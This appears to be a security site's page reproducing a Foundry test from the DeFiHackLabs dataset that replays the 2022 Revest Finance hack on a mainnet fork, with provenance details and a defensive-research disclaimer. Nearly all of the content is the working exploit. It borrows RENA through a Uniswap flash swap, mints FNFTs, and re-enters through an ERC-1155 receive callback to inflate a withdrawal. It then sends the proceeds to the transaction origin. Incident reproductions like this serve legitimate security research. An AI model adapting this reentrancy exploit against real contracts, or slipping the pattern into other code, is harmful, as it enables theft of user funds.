Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/Revest_exp.sol

Public reproduction file for dataset entry Revest Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/Revest_exp.sol66 lines
1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4
5import "forge-std/Test.sol";
6import "./../interface.sol";
7
8contract ContractTest is Test {
9 IUniswapV2Pair pair = IUniswapV2Pair(0xbC2C5392b0B841832bEC8b9C30747BADdA7b70ca);
10 IERC20 rena = IERC20(0x56de8BC61346321D4F2211e3aC3c0A7F00dB9b76);
11 IRevest revest = IRevest(0x2320A28f52334d62622cc2EaFa15DE55F9987eD9);
12 uint256 fnftId;
13 bool reentered = false;
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
16 function setUp() public {
17 cheats.createSelectFork("mainnet", 14_465_356); //fork mainnet at 14465356
18 }
20 function testExploit() public {
21 emit log_named_uint("Before exploit, Rena balance of attacker:", rena.balanceOf(msg.sender));
22 pair.swap(5 * 1e18, 0, address(this), new bytes(1));
23 emit log_named_uint("After exploit, Rena balance of attacker:", rena.balanceOf(msg.sender));
24 }
26 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
27 rena.approve(address(revest), type(uint256).max);
28 IRevest.FNFTConfig memory fnftConfig;
29 fnftConfig.asset = address(rena);
30 fnftConfig.pipeToContract = 0x0000000000000000000000000000000000000000;
31 fnftConfig.depositAmount = 0;
32 fnftConfig.depositMul = 0;
33 fnftConfig.split = 0;
34 fnftConfig.depositStopTime = 0;
35 fnftConfig.maturityExtension = false;
36 fnftConfig.isMulti = true;
37 fnftConfig.nontransferrable = false;
39 address[] memory recipients = new address[](1);
40 uint256[] memory quantities = new uint256[](1);
41 recipients[0] = address(this);
42 quantities[0] = uint256(2);
43 fnftId = revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);
44 quantities[0] = uint256(360_000);
45 revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);
47 revest.withdrawFNFT(fnftId + 1, 360_000 + 1);
49 rena.transfer(msg.sender, ((((amount0 / 997) * 1000) / 99) * 100) + 1000);
50 rena.transfer(tx.origin, rena.balanceOf(address(this)));
51 }
53 function onERC1155Received(
54 address operator,
55 address from,
56 uint256 id,
57 uint256 value,
58 bytes calldata data
59 ) public returns (bytes4) {
60 if (id == fnftId + 1 && !reentered) {
61 reentered = true;
62 revest.depositAdditionalToFNFT(fnftId, 1e18, 1);
63 }
64 return this.onERC1155Received.selector;
65 }

Analysis

Dataset entry

Public Foundry test for “Revest Finance” (2022-03-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Revest Finance
Path
src/test/2022-03/Revest_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
97fefc5a3d06a9453f12182f74e4a36b6a2570f7
Language
Solidity
Size
67 lines
Date
2022-03-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/Revest_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 97fefc5a3d06a9453f12182f74e4a36b6a2570f7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.